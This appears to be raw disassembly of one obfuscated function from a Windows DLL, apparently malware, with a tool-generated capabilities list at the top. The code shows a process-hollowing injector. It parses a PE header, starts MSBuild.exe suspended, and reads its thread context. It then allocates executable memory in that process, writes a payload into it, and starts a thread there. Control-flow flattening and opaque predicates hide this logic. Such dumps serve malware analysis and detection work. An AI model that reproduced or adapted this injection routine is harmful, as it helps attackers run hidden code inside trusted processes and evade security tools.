Function at 0x10003790
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x170
mov eax, dword [0x10066a00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x178], 0xc6b537bb
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x17c], eax
sub eax, 0x813637e1
je 0x1000616a
jmp 0x100037cc
mov eax, dword [ebp - 0x17c]
sub eax, 0x817e0970
je 0x100049b6
jmp 0x100037e2
mov eax, dword [ebp - 0x17c]
sub eax, 0x83ea032d
je 0x1000467d
jmp 0x100037f8
mov eax, dword [ebp - 0x17c]
sub eax, 0x85ecdffa
je 0x10005d07
jmp 0x1000380e
mov eax, dword [ebp - 0x17c]
sub eax, 0x88baf648
je 0x10005b7e
jmp 0x10003824
mov eax, dword [ebp - 0x17c]
sub eax, 0x89cd635c
je 0x10005880
jmp 0x1000383a
mov eax, dword [ebp - 0x17c]
sub eax, 0x8c619a27
je 0x100055c4
jmp 0x10003850
mov eax, dword [ebp - 0x17c]
sub eax, 0x8e6add8e
je 0x100055a9
jmp 0x10003866
mov eax, dword [ebp - 0x17c]
sub eax, 0x90a2740f
je 0x10005dcd
jmp 0x1000387c
mov eax, dword [ebp - 0x17c]
sub eax, 0x90aad65b
je 0x10004763
jmp 0x10003892
mov eax, dword [ebp - 0x17c]
sub eax, 0x92ad5652
je 0x10004c07
jmp 0x100038a8
mov eax, dword [ebp - 0x17c]
sub eax, 0x932836d2
je 0x10005626
jmp 0x100038be
mov eax, dword [ebp - 0x17c]
sub eax, 0x94bf48a6
je 0x10004c59
jmp 0x100038d4
mov eax, dword [ebp - 0x17c]
sub eax, 0x9508e5ea
je 0x1000455d
jmp 0x100038ea
mov eax, dword [ebp - 0x17c]
sub eax, 0x955badb6
je 0x100057cf
jmp 0x10003900
mov eax, dword [ebp - 0x17c]
sub eax, 0x96e45d44
je 0x1000671a
jmp 0x10003916
mov eax, dword [ebp - 0x17c]
sub eax, 0x99c769a5
je 0x1000557d
jmp 0x1000392c
mov eax, dword [ebp - 0x17c]
sub eax, 0x9a62f779
je 0x100056fa
jmp 0x10003942
mov eax, dword [ebp - 0x17c]
sub eax, 0x9ad8e1cc
je 0x1000568d
jmp 0x10003958
mov eax, dword [ebp - 0x17c]
sub eax, 0x9b0d32aa
je 0x1000659c
jmp 0x1000396e
mov eax, dword [ebp - 0x17c]
sub eax, 0x9b23c6f7
je 0x10006684
jmp 0x10003984
mov eax, dword [ebp - 0x17c]
sub eax, 0x9c0e100f
je 0x10005bbb
jmp 0x1000399a
mov eax, dword [ebp - 0x17c]
sub eax, 0x9c9ccb07
je 0x10004e30
jmp 0x100039b0
mov eax, dword [ebp - 0x17c]
sub eax, 0xa04e7869
je 0x10005097
jmp 0x100039c6
mov eax, dword [ebp - 0x17c]
sub eax, 0xa215125d
je 0x100057de
jmp 0x100039dc
mov eax, dword [ebp - 0x17c]
sub eax, 0xa40c4905
je 0x10004a1e
jmp 0x100039f2
mov eax, dword [ebp - 0x17c]
sub eax, 0xa5fac06b
je 0x1000658d
jmp 0x10003a08
mov eax, dword [ebp - 0x17c]
sub eax, 0xa85790b0
je 0x1000606a
jmp 0x10003a1e
mov eax, dword [ebp - 0x17c]
sub eax, 0xa8b4a56e
je 0x10004981
jmp 0x10003a34
mov eax, dword [ebp - 0x17c]
sub eax, 0xa8ca2a47
je 0x1000697d
jmp 0x10003a4a
mov eax, dword [ebp - 0x17c]
sub eax, 0xab42cea8
je 0x10006808
jmp 0x10003a60
mov eax, dword [ebp - 0x17c]
sub eax, 0xac592049
je 0x100055e5
jmp 0x10003a76
mov eax, dword [ebp - 0x17c]
sub eax, 0xae32a437
je 0x10004fb0
jmp 0x10003a8c
mov eax, dword [ebp - 0x17c]
sub eax, 0xae3f88c6
je 0x10004800
jmp 0x10003aa2
mov eax, dword [ebp - 0x17c]
sub eax, 0xb26791cf
je 0x100055fd
jmp 0x10003ab8
mov eax, dword [ebp - 0x17c]
sub eax, 0xb4f5684a
je 0x100047f1
jmp 0x10003ace
mov eax, dword [ebp - 0x17c]
sub eax, 0xb58ab4b9
je 0x10005f4a
jmp 0x10003ae4
mov eax, dword [ebp - 0x17c]
sub eax, 0xb59aecba
je 0x10004d83
jmp 0x10003afa
mov eax, dword [ebp - 0x17c]
sub eax, 0xb98345f3
je 0x10005de8
jmp 0x10003b10
mov eax, dword [ebp - 0x17c]
sub eax, 0xba9fcd44
je 0x100045f5
jmp 0x10003b26
mov eax, dword [ebp - 0x17c]
sub eax, 0xbacdc244
je 0x100063d9
jmp 0x10003b3c
mov eax, dword [ebp - 0x17c]
sub eax, 0xbf9e7525
je 0x10004857
jmp 0x10003b52
mov eax, dword [ebp - 0x17c]
sub eax, 0xc1accaee
je 0x1000517b
jmp 0x10003b68
mov eax, dword [ebp - 0x17c]
sub eax, 0xc1edbbe4
je 0x1000540b
jmp 0x10003b7e
mov eax, dword [ebp - 0x17c]
sub eax, 0xc391e535
je 0x10005ac4
jmp 0x10003b94
mov eax, dword [ebp - 0x17c]
sub eax, 0xc4f9b798
je 0x1000465c
jmp 0x10003baa
mov eax, dword [ebp - 0x17c]
sub eax, 0xc5d5ea7e
je 0x10005635
jmp 0x10003bc0
mov eax, dword [ebp - 0x17c]
sub eax, 0xc64005c9
je 0x10004c2f
jmp 0x10003bd6
mov eax, dword [ebp - 0x17c]
sub eax, 0xc67f0d7b
je 0x1000605b
jmp 0x10003bec
mov eax, dword [ebp - 0x17c]
sub eax, 0xc6b537bb
je 0x10004431
jmp 0x10003c02
mov eax, dword [ebp - 0x17c]
sub eax, 0xc7bbdff5
je 0x10005391
jmp 0x10003c18
mov eax, dword [ebp - 0x17c]
sub eax, 0xc9fe994b
je 0x100051eb
jmp 0x10003c2e
mov eax, dword [ebp - 0x17c]
sub eax, 0xcb78c066
je 0x10006902
jmp 0x10003c44
mov eax, dword [ebp - 0x17c]
sub eax, 0xcb849055
je 0x10006778
jmp 0x10003c5a
mov eax, dword [ebp - 0x17c]
sub eax, 0xcbde9f2e
je 0x10005b6f
jmp 0x10003c70
mov eax, dword [ebp - 0x17c]
sub eax, 0xcc866083
je 0x10004960
jmp 0x10003c86
mov eax, dword [ebp - 0x17c]
sub eax, 0xcd7f2c44
je 0x10004a88
jmp 0x10003c9c
mov eax, dword [ebp - 0x17c]
sub eax, 0xcd97421e
je 0x1000655e
jmp 0x10003cb2
mov eax, dword [ebp - 0x17c]
sub eax, 0xcf1b64ec
je 0x100062f1
jmp 0x10003cc8
mov eax, dword [ebp - 0x17c]
sub eax, 0xd0ca6d75
je 0x100054ec
jmp 0x10003cde
mov eax, dword [ebp - 0x17c]
sub eax, 0xd3e61afd
je 0x100052c1
jmp 0x10003cf4
mov eax, dword [ebp - 0x17c]
sub eax, 0xd6aefcac
je 0x10005044
jmp 0x10003d0a
mov eax, dword [ebp - 0x17c]
sub eax, 0xd7de79e0
je 0x10005806
jmp 0x10003d20
mov eax, dword [ebp - 0x17c]
sub eax, 0xd8a79fc7
je 0x1000615b
jmp 0x10003d36
mov eax, dword [ebp - 0x17c]
sub eax, 0xd96079a6
je 0x1000574b
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x178], 0xf0367330
jmp 0x10006a8c
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x178], 0x6e385920
jmp 0x10006a8c
mov eax, dword [ebp - 0x10c]
cmp eax, 0x4550
sete al
and al, 1
mov byte [ebp - 0x105], al
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
sub edx, 0x174777ca
sub edx, 1
add edx, 0x174777ca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeab5fe59
mov ecx, 0xc4f9b798
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dl, byte [ebp - 0x105]
mov eax, 0xa5fac06b
mov ecx, 0x83ea032d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10007da0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007da0
add esp, 0xc
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x178], 0x481a35a2
jmp 0x10006a8c
mov eax, dword [ebp - 0x104]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x155], al
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0x839ba182
sub edx, 1
add edx, 0x839ba182
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2874026a
mov ecx, 0xb4f5684a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0xae3f88c6
jmp 0x10006a8c
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x15c], eax
mov dl, byte [ebp - 0x155]
mov eax, 0xfaa20454
mov ecx, 0xbf9e7525
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov edx, dword [ebp - 0x15c]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xfe], al
mov dword [ebp - 0x178], 0x7a072fc7
jmp 0x10006a8c
mov dl, byte [ebp - 0xfe]
mov eax, 0x7392367e
mov ecx, 0xa8b4a56e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
cmp eax, 0
setge al
and al, 1
mov byte [ebp - 0xfd], al
mov dword [ebp - 0x178], 0x817e0970
jmp 0x10006a8c
mov dl, byte [ebp - 0xfd]
mov eax, 0xff4f3e06
mov ecx, 0x704b0f35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax + 4]
mov dword [ebp - 0x164], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x168], eax
mov eax, 0xcd7f2c44
mov ecx, 0x8790f14
cmp dword [ebp - 0x168], 0
cmovge eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x178], 0x6b2d879c
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x2ab7d947
jmp 0x10006a8c
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0x150]
add eax, 4
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x178], 0x94bf48a6
jmp 0x10006a8c
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0x9eabe382
sub edx, 1
sub edx, 0x9eabe382
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf76e00e9
mov ecx, 0x42ac5288
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x16c]
imul ecx, dword [ebp - 0x170], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x178], 0x38283c59
jmp 0x10006a8c
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x178], 0x79efca5
jmp 0x10006a8c
mov dword [ebp - 0x174], 0
mov eax, dword [ebp - 0x150]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0xa7de3da1
sub edx, 1
sub edx, 0xa7de3da1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcb849055
mov ecx, 0xd6aefcac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x3b5c31a3
jmp 0x10006a8c
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0x4bf6e4bc
sub edx, 1
add edx, 0x4bf6e4bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e77da6c
mov ecx, 0x75db562
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dl, byte [ebp - 0xd5]
mov eax, 0x8e6add8e
mov ecx, 0x24ca4ca0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xcc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x16c]
mov esi, dword [ebp - 0x140]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
add edx, 0x9f5f1e95
add edx, eax
sub edx, 0x9f5f1e95
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0xd4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x150]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ebp - 0x140]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003480
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov edx, dword [eax]
mov esi, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x140]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x7e1c5871
mov ecx, 0xd3e61afd
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x140]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x178], 0x49d2b8e
jmp 0x10006a8c
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xbc], eax
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6db0b2a8
mov ecx, 0xc1edbbe4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x3d324a14
jmp 0x10006a8c
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
sub eax, 0x713d3da0
add eax, 1
add eax, 0x713d3da0
mov dword [ebp - 0xb8], eax
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0x61386a71
sub edx, 1
add edx, 0x61386a71
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60094573
mov ecx, 0x99c769a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x4d56e558
jmp 0x10006a8c
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x178], 0x8c619a27
jmp 0x10006a8c
mov edx, dword [ebp - 0xb4]
mov eax, 0x90a2740f
mov ecx, 0xac592049
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x178], 0xb26791cf
jmp 0x10006a8c
mov eax, dword [ebp - 0x150]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0xb0]
mov eax, 0x90a2740f
mov ecx, 0x932836d2
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0xc5d5ea7e
jmp 0x10006a8c
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x178], 0x2707f34b
jmp 0x10006a8c
mov ecx, dword [ebp - 0xa8]
add ecx, 0xf141d9bd
add ecx, 8
sub ecx, 0xf141d9bd
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x150]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov dword [ebp - 0x178], 0x9a62f779
jmp 0x10006a8c
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0xe81eded4
sub edx, 1
sub edx, 0xe81eded4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x57a74779
mov ecx, 0xd96079a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0xa215125d
jmp 0x10006a8c
mov eax, dword [ebp - 0x134]
mov esi, dword [eax]
mov edx, dword [ebp - 0xa4]
mov eax, 0xde89e04b
mov ecx, 0xd7de79e0
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x178], 0x5cbf2483
jmp 0x10006a8c
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
sub edx, 0x7e310112
sub edx, 1
add edx, 0x7e310112
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xed2f9031
mov ecx, 0x344864e1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dl, byte [ebp - 0x91]
mov eax, 0xcbde9f2e
mov ecx, 0xf7e6d953
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x88baf648
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x79fac14d
jmp 0x10006a8c
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0xed3a7cdc
sub edx, 1
sub edx, 0xed3a7cdc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b52c27a
mov ecx, 0x7f48f9d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x174]
mov edx, dword [ecx + 4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x174], eax
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
sub edx, 0x8836be55
sub edx, 1
add edx, 0x8836be55
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x633971ea
mov ecx, 0x68723022
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x178], 0xb98345f3
jmp 0x10006a8c
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb78c066
mov ecx, 0x4f5044b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
mov edx, ecx
add edx, 0xb4a6b136
sub edx, 1
sub edx, 0xb4a6b136
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2c607444
mov ecx, 0x68c0eb9e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0xa85790b0
jmp 0x10006a8c
mov ecx, dword [0x10067d38]
mov eax, dword [0x10067d34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa8ca2a47
mov ecx, 0x2460d480
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x813637e1
jmp 0x10006a8c
mov edx, dword [ebp - 0x78]
mov eax, 0x2510ea10
mov ecx, 0xe335f2f6
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x110]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x11c]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
sub edx, 0x207e9ceb
sub edx, 1
add edx, 0x207e9ceb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x41391235
mov ecx, 0x4ca4ca88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x178], 0xdfadb57
jmp 0x10006a8c
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x178], 0xa5fac06b
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x9b0d32aa
jmp 0x10006a8c
mov eax, dword [0x10067d38]
mov ecx, dword [0x10067d34]
mov edx, eax
add edx, 0x943c3fcd
sub edx, 1
sub edx, 0x943c3fcd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcdf268e
mov ecx, 0xe26716c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x178], eax
jmp 0x10006a8c
mov dword [ebp - 0x178], 0x66decf8a
jmp 0x10006a8c
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe4]
